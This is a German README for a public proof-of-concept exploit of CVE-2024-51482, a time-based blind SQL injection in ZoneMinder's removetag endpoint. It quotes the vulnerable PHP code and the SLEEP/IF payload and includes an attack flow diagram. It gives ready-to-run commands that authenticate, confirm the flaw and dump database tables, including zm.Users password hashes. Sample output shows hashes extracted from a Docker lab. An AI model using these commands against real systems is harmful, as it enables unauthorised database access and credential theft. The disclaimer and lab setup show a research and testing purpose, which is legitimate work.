
Zeitbasierte SQL-Injection PoC für CVE-2024-51482 in ZoneMinder, mit reproduzierbarem Docker-Labor und automatisierter Datenextraktion.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Ihnen nicht gehören oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.
Dieses Repository enthält einen Proof-of-Concept für eine zeitbasierte SQL-Injection gegen ZoneMinder.
Das Tool ermöglicht:
Es enthält außerdem ein vollständig reproduzierbares Docker-Labor für sicheres Testen.
ZoneMinder ist eine kostenlose Open-Source-Software für Videoüberwachung. Die Schwachstelle entsteht durch unzureichende Eingabevalidierung im removetag-Endpunkt von ZoneMinder. Benutzereingaben werden direkt in SQL-Abfragen eingebunden, ohne ordnungsgemäße Bereinigung oder Parametrisierung, sodass Angreifer schädliche boolesche SQL-Payloads injizieren können. Der Exploit nutzt:
SLEEP(x - IF(condition, 0, x))
um Daten über die Antwortzeit zu ermitteln.
Vollständiger anfälliger Code-Auszug aus der GitHub Maintainer Advisory:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attacker ZoneMinder Web App
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← authenticated session
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQL boolean query executed
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ Delayed response (timing oracle) │ ← condition inferred
│ │
│ Repeat requests │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Timing differences reveal characters │
│ │
│ Binary search per character │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Extracted data (1 char at a time) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Full database disclosure │
│ │
✓ Complete data exfiltration via blind SQLi
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Umgebungsvariablen konfigurieren
docker compose up -d
Ohne Flags authentifiziert sich das Tool am Ziel, prüft die Schwachstelle und gibt bei Anfälligkeit die Spalten ID, Username, Password, Name und Email aus der Tabelle zm.Users aus (dump-users-Befehl).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Überprüft nur, ob das Ziel anfällig ist.
python exploit.py -t http://target/zm -u <username> -p <password> check
Gibt die Spalten ID, Username, Password, Name und Email aus der Tabelle zm.Users aus. Standardbefehl, wenn keiner angegeben ist.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Listet alle Datenbanken auf.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Listet Tabellen in einer angegebenen Datenbank auf.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Listet Spalten in einer angegebenen Tabelle auf.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Gibt alle Daten aus einer angegebenen Tabelle aus.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
Sie können auch auszugebende Spalten angeben (Standard: alle):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
Wenn die Datei nicht existiert, wird sie erstellt. Wenn sie bereits existiert, werden neue Ergebnisse angehängt.
--outfile results.csv
| Flag | Beschreibung | Beispiel |
|---|---|---|
-t, --target | Zielbasis-URL | -t http://localhost:8080 |
-u, --user | Benutzername für Authentifizierung | -u admin |
-p, --password | Passwort für Authentifizierung | -p admin |
--cookie | Vorhandenes ZMSESSID-Cookie anstelle von Login verwenden | --cookie abc123... |
| Befehl | Beschreibung | Beispiel |
|---|---|---|
check | Prüft, ob das Ziel anfällig ist (zeitbasiertes SQLi) | check |
dump-users | Gibt die Tabelle zm.Users direkt aus | dump-users |
list-db | Listet alle Datenbanken auf | list-db |
list-tables | Listet Tabellen einer Datenbank auf | list-tables --db zm |
list-columns | Listet Spalten einer Tabelle auf | list-columns --db zm --table Users |
dump-table | Gibt eine bestimmte Tabelle aus | dump-table --db zm --table Users |
| Flag | Beschreibung | Erforderlich | Beispiel |
|---|---|---|---|
--db | Datenbankname | Ja (für Tabellen-/Spalten-ops) | --db zm |
--table | Tabellenname | Ja (für Spalten-/Dump) | --table Users |
--columns | Kommagetrennte Liste der auszugebenden Spalten | Optional | --columns Username,Password |
| Flag | Beschreibung | Standard | Beispiel |
|---|---|---|---|
--threads | Anzahl paralleler Extraktions-Threads | 5 | --threads 6 |
--delay | Verzögerung für zeitbasiertes SQLi | 3 | --delay 2 |
--no-check | Schwachstellenprüfung vor Exploitation überspringen | False | --no-check |
| Flag | Beschreibung | Beispiel |
|---|---|---|
--outfile | Ausgabe in CSV-Datei speichern | --outfile results.csv |
--no-display | Terminalausgabe deaktivieren | --no-display |
| Flag | Beschreibung | Standard | Beispiel |
|---|---|---|---|
-v, --verbose | Debug-Logging aktivieren | False | -v |
--log-file | Pfad zur Log-Datei | logs/exploit.log | --log-file out.log |
--no-color | Farbige Ausgabe deaktivieren | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users ist eine Abkürzung zum Ausgeben der Tabelle zm.Users.--no-check nur, wenn Sie sicher sind, dass das Ziel anfällig ist.Die enthaltene docker-compose.yml richtet eine anfällige ZoneMinder-Instanz ein.
cp .env.example .env # Umgebungsvariablen konfigurieren
docker compose up -d
Greifen Sie über http://localhost:8080/ (oder Ihren benutzerdefinierten Port) auf die Weboberfläche zu. Die Standard-Anmeldedaten sind admin:admin. Sie können dann den Exploit gegen diese lokale Instanz ausführen, um zu testen.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] Target URL: http://localhost:8080/
[∗] Module : dump-table
[∗] Output will be saved to: ./out.csv
[∗] Attempting to log in with username/password authentication
🡲 Credentials: admin:admin
[+] Successfully authenticated as user admin
[∗] Testing target vulnerability...
[+] Target appears to be vulnerable (response time indicates successful injection).
[∗] Dumping contents of table zm.Users...
[+] Found columns: Username, Password
[∗] Retrieving number of rows in the table...
[+] Table contains 2 rows. Starting dump...
[∗] Progress: 5/5 | admin
[∗] Progress: 60/60 | $2h$12$NHZs...
[+] Retrieved row 1 : admin, $2h$12$NHZs...
[∗] Progress: 4/4 | flag
[∗] Progress: 60/60 | $2y$10$1Ei....
[+] Retrieved row 2 : flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] Results written to ./out.csv
[+] Work done. Bye!